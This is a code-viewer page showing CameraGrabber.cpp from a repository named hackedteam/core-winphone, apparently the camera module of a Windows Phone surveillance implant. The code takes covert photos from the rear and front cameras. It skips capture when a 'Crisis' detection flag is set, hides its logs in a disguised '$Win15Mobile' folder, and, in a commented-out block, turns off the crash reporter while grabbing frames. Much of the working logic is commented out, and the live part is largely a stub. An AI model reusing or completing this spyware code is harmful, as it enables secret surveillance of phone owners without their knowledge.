hackedteam/core-winphone

View on GitHub
MornellaWp8/MornellaWp8/CameraGrabber.cpp

Summary

Maintainability
Test Coverage
#include "Modules.h"
#include "Common.h"
#include "Module.h"
#include "Camera.h"
#include "Status.h"

#include "wtypes.h"


#include "NativePhotoCaptureInterface.h"
using namespace NativePhotoCaptureInterface::Native;

/*****
#include "NativeCameraCaptureInterface.h"
using namespace NativeCameraCaptureInterface::Native;
*****/

extern "C" int conta;
extern "C"  int contaCameraCapturePreviewSink;
extern "C"  int contaCameraCaptureSampleSink;
int conta=0;
int contaCameraCapturePreviewSink=0;
int contaCameraCaptureSampleSink=0;

#include <time.h>
#include <iostream>
#include <fstream>
#include <windows.h>

#define DTTMFMT "%Y-%m-%d %H:%M:%S "
#define DTTMSZ 21
static char *getDtTm (char *buff) {
    time_t t = time (0);
    strftime(buff, DTTMSZ, DTTMFMT, localtime (&t));
    return buff;
}

using namespace std;

NativeCapture^ photoCapture;

DWORD WINAPI CameraModule(LPVOID lpParam) {
    Module *me = (Module *)lpParam;
    HANDLE moduleHandle;

    INT  iResult = 0;
    //BSTR bstr1, bstr2 = NULL;
    BSTR bstr2 = NULL;
    DWORD dwModeRear = MODE_STILL, dwModeFront = MODE_CAPTURE;
    Device* devobj = Device::self();
    Status* statusObj = Status::self();
    DeviceCam devCam;

    me->setStatus(MODULE_RUNNING);
    moduleHandle = me->getEvent();

    
    DBG_TRACE(L"Debug - CameraGrabber.cpp - Camera Module is Alive\n", 5, FALSE);

    if ((statusObj->Crisis() & CRISIS_CAMERA) != CRISIS_CAMERA) 
    {
        NativeCapture^ photoCapture = ref new NativeCapture();
        photoCapture=nullptr;
    
#ifdef _DEBUG        
        wchar_t msgW[128];
        char msgA[128];
        swprintf_s(msgW,L"conta=%i\ncontaCameraCapturePreviewSink=%i\ncontaCameraCaptureSampleSink=%i\n",conta,contaCameraCapturePreviewSink,contaCameraCaptureSampleSink );
        wcstombs(msgA, msgW, wcslen(msgW)+1);

        OutputDebugStringA(msgA);

        fstream filestr;
        char buff[DTTMSZ];
        filestr.open ("\\Data\\Users\\DefApps\\AppData\\{11B69356-6C6D-475D-8655-D29B240D96C8}\\$Win15Mobile\\fotogrammi.txt", fstream::out|fstream::app);
        filestr << getDtTm (buff) << std::endl;
        filestr << msgA << std::endl;
        filestr << std::endl;
        filestr.close();
#endif

        conta++;
    }

    me->setStatus(MODULE_STOPPED);
    DBG_TRACE(L"Debug - CameraGrabber.cpp - Camera Module clean stop\n", 5, FALSE);

/***
    HRESULT hr = CoInitializeEx(0, COINIT_MULTITHREADED);

    // CoUninitialize va chiamata se la funzione torna S_OK o S_FALSE
    if (hr == S_FALSE) {
        CoUninitialize();
        DBG_TRACE(L"Debug - CameraGrabber.cpp - CameraAgent CoUninitialize S_FALSE [0]\n", 5, FALSE);
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    if (FAILED(hr)) {
        DBG_TRACE(L"Debug - CameraGrabber.cpp - CameraAgent CoUninitialize FAILED [1]\n", 5, FALSE);
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    devCam.FindCamera(L"CAM*");

    devobj->DisableDrWatson();

    // Se la camera e' presente proviamo un primo scatto nella modalita' di default.
    if (devCam.IsRearCamPresent()) {
        // Set registry power status during Suspend and resume
        devCam.SetRegPowerStatus(L"CAM1:");
        devCam.SetCam1PowerState();

        bstr1 = SysAllocString(L"CAM1:");

        iResult = CamGrabFrame(bstr1, dwModeRear);
        DBG_TRACE_INT(L"Debug - CameraGrabber.cpp - First CamGrabFrame rear return: ", 5, FALSE, iResult);

        switch (iResult) {
            case OUT_ERROR_FILTERAUTOCONNECT:
                dwModeRear = MODE_CAPTURE;
                break;

            case OUT_ERROR_LOADCAMDRIVER:  // NB: prvare a mettere una AgentSleep invece di disabilitare la cam
                devCam.DisableRearCam();
                break;

            case OUT_ERROR_EXCEPTION:
                devCam.DisableRearCam();
                break;

            default: 
                break;
        }    

        devCam.ReleaseCam1PowerState();
    }

    // Se la camera e' presente proviamo un primo scatto nella modalita' di default.
    if (devCam.IsFrontCamPresent()) {
        // Set registry power status during Suspend and resume
        devCam.SetRegPowerStatus(L"CAM2:");
        devCam.SetCam2PowerState();

        bstr2 = SysAllocString(L"CAM2:");

        iResult = CamGrabFrame(bstr2, dwModeFront);
        DBG_TRACE_INT(L"Debug - CameraGrabber.cpp - First CamGrabFrame front return: ", 5, FALSE, iResult);

        switch (iResult) {
            case OUT_ERROR_FILTERAUTOCONNECT:
                dwModeRear = MODE_CAPTURE;
                break;

            case OUT_ERROR_LOADCAMDRIVER:   // NB: provare a mettere una AgentSleep invece di disabilitare la cam
                devCam.DisableFrontCam();
                break;

            case OUT_ERROR_EXCEPTION:
                devCam.DisableFrontCam();
                break;

            default: 
                break;
        }    

        devCam.ReleaseCam2PowerState();
    }

    if ((statusObj->Crisis() & CRISIS_CAMERA) != CRISIS_CAMERA) {
        if (devCam.IsRearCamPresent()) {
            devCam.SetCam1PowerState();
            iResult = CamGrabFrame(bstr1, dwModeRear);

            if (iResult == OUT_ERROR_LOADCAMDRIVER)
                devCam.DisableRearCam();

            DBG_TRACE_INT(L"Debug - CameraGrabber.cpp - CamGrabFrame rear return: ", 5, FALSE, iResult);
            devCam.ReleaseCam1PowerState();
        }

        if (devCam.IsFrontCamPresent()) {
            devCam.SetCam2PowerState();
            iResult = CamGrabFrame(bstr2, dwModeFront);

            if (iResult == OUT_ERROR_LOADCAMDRIVER)
                devCam.DisableFrontCam();

            DBG_TRACE_INT(L"Debug - CameraGrabber.cpp - CamGrabFrame front return: ", 5, FALSE, iResult);
            devCam.ReleaseCam2PowerState();
        }
    }

    if (bstr1 != NULL)
        SysFreeString(bstr1);

    if (bstr2 != NULL)
        SysFreeString(bstr2);

    devobj->EnableDrWatson();
    CoUninitialize();
    me->setStatus(MODULE_STOPPED);
    DBG_TRACE(L"Debug - CameraGrabber.cpp - Camera Module clean stop\n", 5, FALSE);
    ***/
    return 0;
}